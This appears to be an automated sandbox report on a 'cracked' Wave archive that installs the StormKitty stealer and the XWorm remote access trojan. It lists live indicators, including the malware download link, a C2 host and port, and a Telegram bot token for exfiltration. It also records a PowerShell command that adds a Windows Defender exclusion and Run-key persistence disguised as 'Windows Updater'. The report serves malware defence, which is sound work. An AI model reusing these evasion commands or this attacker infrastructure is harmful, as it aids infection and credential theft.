stormkitty | hxxps://www[.]mediafire[.]com/file/9b3nj02vi74mtcu/WaveCrackedByKrasnDan[.]rar/file

Analysis

max time kernel
532s
max time network
543s
platform
windows11-21h2_x64
resource
win11-20240709-en
resource tags

arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
submitted
21/07/2024, 13:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
https://www.mediafire.com/file/9b3nj02vi74mtcu/WaveCrackedByKrasnDan.rar/file
Sample240721-qsc2wsvanm

Score

10^/10

stormkitty xworm execution persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

joined-kenya.gl.at.ply.gg:47043

Attributes

Install_directory
%AppData%
install_file
Windows Updater.exe
telegram
https://api.telegram.org/bot7155437940:AAEbGgzYDHTyqJweT_rhIoREx6Mc9418uec/sendMessage?chat_id=5812073693

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral4/memory/2496-1790-0x000000001C9C0000-0x000000001C9CE000-memory.dmp	disable_win_def

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral4/files/0x000400000002ac37-1505.dat	family_xworm
behavioral4/memory/2496-1514-0x0000000000360000-0x00000000003A8000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral4/memory/2496-1720-0x000000001D1B0000-0x000000001D2D0000-memory.dmp	family_stormkitty

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5432	powershell.exe
5828	powershell.exe
3560	powershell.exe
5468	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Updater.lnk	XClient.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Updater.lnk	XClient.exe

Executes dropped EXE 6 IoCs

pid	Process
5304	WaveWindows.exe
5492	WaveWindows.exe
2496	XClient.exe
5532	node.exe
2068	Windows Updater.exe
1056	Windows Updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2496	XClient.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3866437728-1832012455-4133739663-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Updater = "C:\\Users\\Admin\\AppData\\Roaming\\Windows Updater.exe"	XClient.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 10 IoCs

Web Service

T1102

flow	ioc
372	raw.githubusercontent.com
373	raw.githubusercontent.com
374	raw.githubusercontent.com
376	raw.githubusercontent.com
377	raw.githubusercontent.com
137	raw.githubusercontent.com
369	raw.githubusercontent.com
370	raw.githubusercontent.com
371	raw.githubusercontent.com
375	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	XClient.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	XClient.exe

Enumerates system info in registry 2 TTPs 10 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	XClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion	XClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSReleaseDate	XClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	XClient.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3866437728-1832012455-4133739663-1000_Classes\Local Settings	7zFM.exe

NTFS ADS 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\WaveCrackedByKrasnDan.rar:Zone.Identifier	msedge.exe
File created	C:\Users\Admin\AppData\Local\Temp\7zOC975FCFC\Pass.txt:Zone.Identifier	7zFM.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
5600	NOTEPAD.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3484	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3556	WINWORD.EXE
3556	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
3624	msedge.exe
3624	msedge.exe
4296	msedge.exe
4296	msedge.exe
648	msedge.exe
648	msedge.exe
5404	identity_helper.exe
5404	identity_helper.exe
5248	msedge.exe
5248	msedge.exe
5248	msedge.exe
5248	msedge.exe
6108	msedge.exe
6108	msedge.exe
1948	7zFM.exe
1948	7zFM.exe
1948	7zFM.exe
1948	7zFM.exe
5492	WaveWindows.exe
5468	powershell.exe
5468	powershell.exe
5468	powershell.exe
5432	powershell.exe
5432	powershell.exe
5432	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
3560	powershell.exe
3560	powershell.exe
3560	powershell.exe
2496	XClient.exe
2496	XClient.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1948	7zFM.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

pid	Process
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeRestorePrivilege	1948	7zFM.exe
Token: 35	1948	7zFM.exe
Token: SeSecurityPrivilege	1948	7zFM.exe
Token: SeSecurityPrivilege	1948	7zFM.exe
Token: SeSecurityPrivilege	1948	7zFM.exe
Token: SeDebugPrivilege	2496	XClient.exe
Token: SeDebugPrivilege	5492	WaveWindows.exe
Token: SeDebugPrivilege	5468	powershell.exe
Token: SeDebugPrivilege	5432	powershell.exe
Token: SeDebugPrivilege	5828	powershell.exe
Token: SeDebugPrivilege	3560	powershell.exe
Token: SeDebugPrivilege	2496	XClient.exe
Token: 33	5704	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	5704	AUDIODG.EXE
Token: SeDebugPrivilege	2068	Windows Updater.exe
Token: SeDebugPrivilege	1056	Windows Updater.exe
Token: SeShutdownPrivilege	2496	XClient.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe
4296	msedge.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3556	WINWORD.EXE
3556	WINWORD.EXE
3556	WINWORD.EXE
3556	WINWORD.EXE
3556	WINWORD.EXE
3556	WINWORD.EXE
3556	WINWORD.EXE
3556	WINWORD.EXE
3556	WINWORD.EXE
3556	WINWORD.EXE
3556	WINWORD.EXE
3556	WINWORD.EXE
2496	XClient.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4296 wrote to memory of 3388	4296	msedge.exe	81
PID 4296 wrote to memory of 3388	4296	msedge.exe	81
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 772	4296	msedge.exe	82
PID 4296 wrote to memory of 3624	4296	msedge.exe	83
PID 4296 wrote to memory of 3624	4296	msedge.exe	83
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84
PID 4296 wrote to memory of 2800	4296	msedge.exe	84

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.mediafire.com/file/9b3nj02vi74mtcu/WaveCrackedByKrasnDan.rar/file
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff858aa3cb8,0x7ff858aa3cc8,0x7ff858aa3cd8
  2⤵
  PID:3388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1928 /prefetch:2
  2⤵
  PID:772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3624
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2788 /prefetch:8
  2⤵
  PID:2800
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
  2⤵
  PID:1440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3252 /prefetch:1
  2⤵
  PID:2176
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5620 /prefetch:1
  2⤵
  PID:1684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5860 /prefetch:1
  2⤵
  PID:3200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5908 /prefetch:1
  2⤵
  PID:724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6292 /prefetch:1
  2⤵
  PID:4396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6480 /prefetch:1
  2⤵
  PID:4436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6668 /prefetch:1
  2⤵
  PID:4708
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6896 /prefetch:1
  2⤵
  PID:540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7164 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7124 /prefetch:1
  2⤵
  PID:3028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7196 /prefetch:1
  2⤵
  PID:1448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5508 /prefetch:1
  2⤵
  PID:1080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6960 /prefetch:1
  2⤵
  PID:1100
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7200 /prefetch:1
  2⤵
  PID:1004
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7672 /prefetch:1
  2⤵
  PID:872
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7308 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5992 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5248
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5992 /prefetch:1
  2⤵
  PID:5728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1916,10910027430998933305,692358603022287252,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6956 /prefetch:8
  2⤵
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:6108

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1868

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:472

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\New Microsoft Word Document.docx" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3556

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3008

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\WaveCrackedByKrasnDan.rar"
1⤵
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1948
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\7zOC975FCFC\Pass.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:5600
- C:\Users\Admin\AppData\Local\Temp\7zOC97CF93D\WaveWindows.exe
  "C:\Users\Admin\AppData\Local\Temp\7zOC97CF93D\WaveWindows.exe"
  2⤵
  - Executes dropped EXE
  PID:5304
- - C:\Users\Admin\AppData\Roaming\WaveWindows.exe
    "C:\Users\Admin\AppData\Roaming\WaveWindows.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5492
  - - C:\Users\Admin\AppData\Local\Luau Language Server\node.exe
      "C:\Users\Admin\AppData\Local\Luau Language Server\node.exe" server --process-id=5492
      4⤵
      Executes dropped EXE
      PID:5532
- - C:\Users\Admin\AppData\Roaming\XClient.exe
    "C:\Users\Admin\AppData\Roaming\XClient.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5468
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
